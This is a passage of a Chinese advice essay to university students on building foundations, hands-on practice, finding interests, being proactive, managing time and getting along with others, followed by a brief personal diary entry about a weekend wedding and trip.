      最后,每个特定的专业也有它自己的基础课程。以计算机专业为例,许多大学生只热衷于学习最新的语言、技术、平台、标准和工具,因为很多公司在招聘时都会要求这些方面的基础或经验。这些新技术虽然应该学习,但计算机基础课程的学习更为重要,因为语言和平台的发展日新月异,但只要学好基础课程(如数据结构、算法、编译原理、计算机原理、数据库原理等)就可以万变不离其宗。有位同学生动地把这些基础课程比拟为计算机专业的内功,而把新的语言、技术、平台、标准和工具比拟为外功。那些只懂得追求时髦的学生最终只知道些招式的皮毛,而没有内功的积累,他们是不可能成为真正的高手的。

      虽然我一向鼓励大家追寻自己的兴趣,但在这里仍需强调,生活中有些事情即便不感兴趣也是必须要做的。例如,打好基础,学好数学、英语和计算机的使用就是这一类必须做的事情。如果你对数学、英语和计算机有兴趣,那你是幸运儿,可以享受学习的乐趣;但就算你没有兴趣,你也必须把这些基础打好。打基础是苦功夫,不愿吃苦是不能修得正果的。

     实践贯通:“做过的才真正明白”

      上高中时,许多学生会向老师提出“为什么?有什么用?”的问题,通常,老师给出的答案都是“不准问”。进入大学后,这些问题的答案应该是“不准不问”。在大学里,同学们应该懂得每一个学科的知识、理论、方法与具体的实践、应用如何结合起来,尤其是工科的学生更是如此。

      有一句关于实践的谚语是这样说的:“我听到的会忘掉,我看到的能记住,我做过的才真正明白。

      无论学习何种专业、何种课程,如果能在学习中努力实践,做到融会贯通,我们就可以更深入地理解知识体系,可以牢牢地记住学过的知识。因此,我建议同学们多选些与实践相关的专业课。实践时,最好是几个同学合作,这样,既可经过实践理解专业知识,也可以学会如何与人合作,培养团队精神。如果有机会在老师手下做些实际的项目,或者走出校门打工,只要不影响课业,这些做法都是值得鼓励的。外出打工或做项目时,不要只看重薪酬待遇(除非生活上确实有困难),有时候,即便待遇不满意,但有许多培训和实践的机会,我们也值得一试。

      以计算机专业为例,实践经验对于软件开发来说更是必不可少的。微软公司希望应聘程序员的大学毕业生最好有十万行的编程经验。理由很简单:实践性的技术要在实践中提高。计算机归根结底是一门实践的学问,不动手是永远也学不会的。因此,最重要的不是在笔试中考高分,而是实践能力。但是,在与中国学生的交流过程中,我很惊讶地发现,中国某些学校计算机系的学生到了大三还不会编程。这些大学里的教学方法和课程的确需要更新。如果你不巧是在这样的学校中就读,那你就应该从打工、自学或上网的过程中寻求学习和实践的机会。在网上可以找到许多实践项目,例如,有一批爱好编程的学生建立了一个讨论软件技术的网站(www.diyinside.com),在其中共享他们的知识和实践经验,并成功举办了很多次活动(如在各大高校举办校园技术教育会议),还出版了帮助学生提高技术、解答疑难方面的图书,该网站有多位成员获得了“微软最有价值的专家”的称号。


    培养兴趣:开拓视野,立定志向

      孔子说:“知之者不如好之者,好之者不如乐之者。”我在“给中国学生的第三封信”中曾深入论述了快乐和兴趣是一个人成功的关键。如果你对某个领域充满激情,你就有可能在该领域中发挥自己所有的潜力,甚至为它而废寝忘食。这时候,你已经不是为了成功而学习,而是为了“享受”而学习了。在“第三封信”中,我也曾谈到我自己是如何在大学期间放弃了我不感兴趣的法律专业而进入我所热爱的计算机专业学习的。

      有些同学问我,如何像我一样能找到自己的兴趣呢?我觉得,首先要客观地评估和寻找自己的兴趣所在:不要把社会、家人或朋友认可和看重的事当作自己的爱好;不要以为有趣的事就是自己的兴趣所在,而是要亲身体验它并用自己的头脑做出判断;不要以为有兴趣的事情就可以成为自己的职业,例如,喜欢玩网络游戏并不代表你会喜欢或有能力开发网络游戏;不要以为有兴趣就意味着自己有这方面的天赋,不过,你可以尽量寻找天赋和兴趣的最佳结合点,例如,如果你对数学有天赋但又喜欢计算机专业,那么你完全可以做计算机理论方面的研究工作。

      最好的寻找兴趣点的方法是开拓自己的视野,接触众多的领域。唯有接触你才能尝试,唯有尝试你才能找到自己的最爱。而大学正是这样一个可以让你接触并尝试众多领域的独一无二的场所。因此,大学生应当更好地把握在校时间,充分利用学校的资源,通过使用图书馆资源、旁听课程、搜索网络、听讲座、打工、参加社团活动、与朋友交流、使用电子邮件和电子论坛等不同方式接触更多的领域、更多的工作类型和更多的专家学者。当年,如果我只是乖乖地到法律系上课,而不去尝试旁听计算机系的课程,我就不会去计算机中心打工,也不去找计算机系的助教切磋,就更不会发现自己对计算机的浓厚兴趣。

      通过开拓视野和接触尝试,如果你发现了自己真正的兴趣爱好,这时就可以去尝试转系的可能性、尝试课外学习、选修或旁听相关课程;你也可以去找一些打工或假期实习的机会,进一步理解相关行业的工作性质;或者,努力去考自己感兴趣专业的研究生,重新进行一次专业选择。其实,本科读什么专业并不能完全决定毕业后的工作方向,正如我所强调的那样,大学期间的学习过程培养的是你的学习能力,只要具备了这种能力,即使从事的是全新的工作,你也能在边做边学的过程中获取足够的知识和经验。

      除了“选你所爱”,大家也不妨试试“爱你所选”。有些同学后悔自己在入学时选错了专业,以至于对所学的专业缺乏兴趣,没有学习动力;有些同学则因为追寻兴趣而“走火入魔”,毕业后才发现荒废了本专业的课程;另一些同学因为在学习上遇到了困难或对本专业抱有偏见,就以兴趣为借口,不愿意面对自己的专业。这些做法都是不正确的。在大学中,转系可能并不容易,所以,大家首先应尽力试着把本专业读好,并在学习过程中逐渐培养自己对本专业的兴趣。此外,一个专业里可能有很多不同的领域,也许你对专业里的某一个领域会有兴趣。现在,有很多专业发展了交叉学科,两个专业的结合往往是新的增长点。因此,只要多接触、多尝试,你也许就会碰到自己真正感兴趣的方向。“数字笔”的发明人王坚博士在微软亚洲研究院负责用户界面的研究,可是谁又能想到他从本科到博士所学的都是心理学专业,而用户界面又正是计算机和心理学专业的最佳结合点。另一方面,就算你毕业后要从事其他的行业,你依然可以把自己的专业读好,这同样能成为你在新行业中的优势。例如,有一位同学不喜欢读工科,想毕业后进入服务业发展,我就建议他先把工科读好,将来可以在服务业中以精通技术作为自己的特长。

      人生的路很长,每个人都可以有很多不同的兴趣爱好。在追寻兴趣之外,更重要的是要找寻自己终身不变的志向。有一本书的作者曾访问了几百个成功者,问他们有哪件事是他们今天已经懂得,但在年轻时却留下了遗憾的事情。在受访者的回答中,最多的一种是:“希望在年轻时就有前辈告诉我、鼓励我去追寻自己的理想和志向。”相比之下,兴趣固然关键,但志向更为重要。例如,我的志向是“使影响力最大化”,多年以来,我有许多兴趣爱好,如语音识别、对弈软件、多媒体、研究到开发的转换、管理学、满足用户的需求、演讲和写作、帮助中国学生等等,兴趣可以改变,但我的志向是始终不渝的。因此,大家不必把某种兴趣当作自己最后的目标,也不必把任何一种兴趣的发展道路完全切断,在志向的指引下,不同的兴趣完全可以平行发展,实在必要时再做出最佳的抉择。志向就像罗盘,兴趣就像风帆,两者相辅相成、缺一不可,它们可以让你驶向理想的港湾。
     积极主动:果断负责,创造机遇

      创立“开复学生网”时,我的初衷是“帮助学生帮助自己”。但让我很惊讶的是,更多的学生希望我直接帮他们做出决定,甚至仅在简短的几句自我介绍后就直接对我说:“只有你能告诉我,我该怎么做”。难道一个陌生人会比你更知道自己该怎么做吗?我慢慢认识到,这种被动的思维方式是从小在中国的教育环境中培养出来的。被动的人总是习惯性地认为他们现在的境况是他人和环境造成的,如果别人不指点,环境不改变,自己就只有消极地生活下去。持有这种态度的人,事业还没有开始,自己就已经被击败,我从来没见过这样消极的人可以取得持续的成功。


      从大学的第一天开始,你就必须从被动转向主动,你必须成为自己未来的主人,你必须积极地管理自己的学业和将来的事业,理由很简单:因为没有人比你更在乎你自己的工作与生活。“让大学生活对自己有价值”是你的责任。许多同学到了大四才开始做人生和职业规划,而一个主动的学生应该从进入大学时就开始规划自己的未来。

      积极主动的第一步是要有积极的态度。大家可以用我在“第三封信”里推荐的方法,积极规划自己的人生目标,追寻兴趣并尝试新的知识和领域。纳粹德国某集中营的一位幸存者维克托·弗兰克尔曾说过:“在任何特定的环境中,人们还有一种最后的自由,就是选择自己的态度。”

      积极主动的第二步是对自己的一切负责,勇敢面对人生。不要把不确定的或困难的事情一味搁置起来。比如说,有些同学认为英语重要,但学校不考试就不学英语;或者,有些同学觉得自己需要参加社团磨练人际关系,但是因为害羞就不积极报名。但是,我们必须认识到,不去解决也是一种解决,不做决定也是一个决定,这样的解决和决定将使你面前的机会丧失殆尽。对于这种消极、胆怯的作风,你终有一天会付出代价的。

      积极主动的第三步是要做好充分的准备:事事用心,事事尽力,不要等机遇上门;要把握住机遇,创造机遇。中国科技大学校长朱清时院士在大三时被分配到青海做铸造工人。但他不像其他同学那样放弃学习,整天打扑克、喝酒。他依然终日钻研数理化和英语。六年后,中国科学院要在青海做一个重要的项目,这时朱校长就脱颖而出,开始了他辉煌的事业。很多人可能说他运气好,被分配到缺乏人才的青海,才有这机会。但是,如果他没有努力学习,也无法抓住这个机遇。所以,做好充分的准备,当机遇来临时,你才能抓住它。

      积极主动的第四步是“以终为始”,积极地规划大学四年。任何规划都将成为你某个阶段的终点,也将成为你下一个阶段的起点,而你的志向和兴趣将为你提供方向和动力。如果不知道自己的志向和兴趣,你应该马上做一个发掘志向和兴趣的计划;如果不知道毕业后要做什么,你应该马上制定一个尝试新领域的计划;如果不知道自己最欠缺什么,你应该马上写一份简历,找你的老师、朋友打分,或自己审阅,看看哪里需要改进;如果毕业后想出国读博士,你应该想想如何让自己在申请出国前有具体的研究经验和学术论文;如果毕业后想进入某个公司工作,你应该收集该公司的招聘广告,以便和你自己的履历对比,看自己还欠缺哪些经验。只要认真制定、管理、评估和调整自己的人生规划,你就会离你自己的目标越来越近。


    掌控时间:事分轻重缓急,人应自控自觉

      除了积极主动的态度,大学生还要学会安排自己的时间,管理自己的事务。一位同学是这么描述大学生活的:

      “大学和高中相比似乎没有什么太大的区别,每天依旧是学习,每次考试后依旧是担心考试成绩……不同的只是大学里上网的时间和睡觉的时间多了很多,压力也小了很多。”


      这位同学并不明白,“时间多了很多”正是大学与高中之间巨大的差别。时间多了,就需要自己安排时间、计划时间、管理时间

      安排时间出了做一个时间表外,更重要的是“事分轻重缓急”。在《高效能人士的七个习惯》一书中,作者史蒂芬·柯维提出,“重要事”和“紧急事”的差别是人们浪费时间的最大理由之一。因为人的惯性是先做最紧急的事,但这么做会导致一些重要的事被荒废掉。例如,我认为这篇文章里谈到的各种学习都是“重要的”,但它们不见得都是老师布置的必修课业,采纳我的建议的同学们依然会因为考试、交作业等紧急的事情而荒废了打好基础、学习做人等重要的事情。因此,每天管理时间的一种好方法是,早上确定今天要做的紧急事和重要事,睡前回顾一下,这一天有没有做到两者的平衡。

      每个人都有许多“紧急事”和“重要事”,想把每件事都做到最好是不切实际的。我建议大家把“必须做的事”和“尽量做的事”分开。必须做的事要做到最好,但尽量做的事尽力而为即可。建议大家用良好的态度和宽广的胸怀接受那些你暂时不能改变的事情,多关注那些你能够改变的事情。此外,还要注意生物钟的运行规律,按时作息,劳逸结合,这样才能在学习时有最好的状态。

      大学四年是最容易迷失方向的时期。大学生必须有自控的能力,让自己交些好朋友,学些好习惯,不要沉迷于对自己无益的习惯(如网络游戏)里。一位积极、主动的中国学生在“开复学生网”上劝告其他同学:“不要玩游戏,至少不要玩网络游戏。我所认识的专业水平比较高的大学朋友中没有一个玩网络游戏的。沉迷于网络游戏是对于现实的逃避,是不愿面对自己不足的一面。我认为,要脱离网络游戏,就得珍惜自己宝贵的大学时间,找到自己感兴趣的方向,做一些有意义并能给自己带来满足感的事情。”

     为人处事:培养友情,参与群体

      很多大学生入校时都是第一次离开父母,离开自己生长的环境。进入校园开始集体生活后,如何与同学、朋友以及社团的同事相处就成为了大学生学习内容的一部分。大学是大家最后一次可以在相对宽松的环境中学习、培养、训练如何与人相处的机会。在未来,人们在社会里、在工作中与人相处的能力会变得越来越重要,甚至超过了工作本身。所以,大学生要好好把握机会,培养自己的交流意识和团队精神。

      “人际交往能力不够强,人际圈子不够广,但又没有什么特长可以引起大家的注意,在社团里也不知道怎么和其他人有效地建立联系。”这是一些大学生在人际交往方面经常遇到的困惑。对于如何在大学期间提高人际交往能力,我的建议是:

      第一,以诚待人,以责人之心责己、以恕己之心恕人。对别人要抱着诚挚、宽容的胸襟,对自己要怀着自我批评、有过必改的态度。与人交往时,你怎样对待别人,别人也会怎样对待你。这就好比照镜子一样,你自己的表情和态度,可以从他人对你流露出的表情和态度中一览无遗。你若以诚待人,别人也会以诚待你。你若敌视别人,别人也会敌视你。最真挚的友情和最难解的仇恨都是由这种“反射”原理逐步造成的。因此,当你想修正别人时,你应该先修正自己。你想别人怎么对你,你就应该怎么对人。你想他人理解你,你就要首先理解他人。

      第二,培养真正的友情。如果能做到第一点,很多大学时的朋友就会成为你一辈子的知己。在一起求学和寻求自身发展的道路上,这样的友谊弥足珍贵。交朋友时,不要只去找与你性情相近或只会附和你的人做朋友。好朋友有很多种:乐观的朋友、智慧的朋友、脚踏实地的朋友、幽默风趣的朋友、激励你上进的朋友、提升你能力的朋友、帮你了解自己的朋友、对你说实话的朋友等等。此外,大学时谈恋爱也可以教你如何照顾别人,增进同理心和自控力,但恋爱这件事要随缘,不必为了谈恋爱而谈恋爱。

      第三,学习团队精神和沟通能力。社团是微观的社会,参与社团是步入社会前最好的磨练。在社团中,可以培养团队合作的能力和领导才能,也可以发挥你的专业特长。但更重要的是,你要做一个诚心诚意的服务者和志愿者,或在担任学生工作时主动扮演同学和老师之间沟通桥梁的角色,并以此锻炼自己的沟通能力,为同学和老师服务。这样的学习过程也不会很轻松,挫折是肯定有的,但是不要灰心,大学社团里的人际交往是一种不用“付学费”的学习,犯了错误也可以重头来过.

      第四,从周围的人身上学习。在班级里、社团中,多观察周围的同学,特别是那些你觉得交往能力和沟通能力特别强的同学,看他们是如何与人相处的。比如,看他们如何处理交往中的冲突、如何说服他人和影响他人、如何发挥自己的合作和协调能力、如何表达对他人的尊重和真诚、如何表示赞许或反对,如何在不冒犯他人的情况下充分展示个性等等。通过观察和模仿,你渐渐地会发现,自己的人际交往能力会有意想不到的改进。在学校里,每一个朋友都可以成为你的良师,他们的热心、幽默、机智、博学、正直、沟通、礼貌等品德都可以成为你的学习对象。同时那些你不喜欢的人和事也可以为你敲响警钟,警告你千万不要做那样的人和事。当然,你也应当慷慨地帮助每一个朋友,试着做他们的良师和模范。

      第五,提高自身修养和人格魅力。如果觉得没有特长、没有爱好可能会成为自己人际交往能力提高的一个障碍,那么,你可以有意识地去选择和培养一些兴趣爱好。共同的兴趣和爱好也是你与朋友建立深厚感情的途径之一。很多在事业上有所建树的人都不是只会闭门苦读的书呆子,他们大多都有自己的兴趣和爱好。我在微软亚洲研究院的同事中就有绘画、桥牌和体育运动方面的高手。业余爱好不仅是人际交往的一种方式,还可以让大家发掘出自己在读书以外的潜能。例如,体育锻炼既可以发挥你的运动潜能,也可以培养你的团队合作精神。如果真的没有什么兴趣爱好,那么,多读些好书丰富自己的知识也可以改进自己的人际交往能力,因为没有什么比智慧和渊博更能体现一个人的人格魅力了。

      所以,学会与人相处,这也是大学中的一门“必修课”。

    对大学生们的期望

      踏入大学校门时,你还是一个忙碌的、青涩的、被动的、为分数读书的、被家庭保护着的中学毕业生。

      就读大学时,你应当掌握七项学习,学好自修之道、基础知识、实践贯通、兴趣培养、积极主动、掌控时间、为人处事。

      经过大学四年,你会从思考中确立自我,从学习中寻求真理,从独立中体验自主,从计划中把握时间,从交流中锻炼表达,从交友中品味成熟,从实践中赢得价值,从兴趣中攫取快乐,从追求中获得力量。

      离开大学时,只要做到了这些,你最大的收获将是“对什么都可以拥有的自信和渴望”。你就能成为一个有潜力、有思想、有价值、有前途的中国未来的主人翁。

      所以,我认为大学四年应是这样度过。

    July 08

    星期天安排

    星期天上午参加高妍兰的婚礼,下午准备去青岛。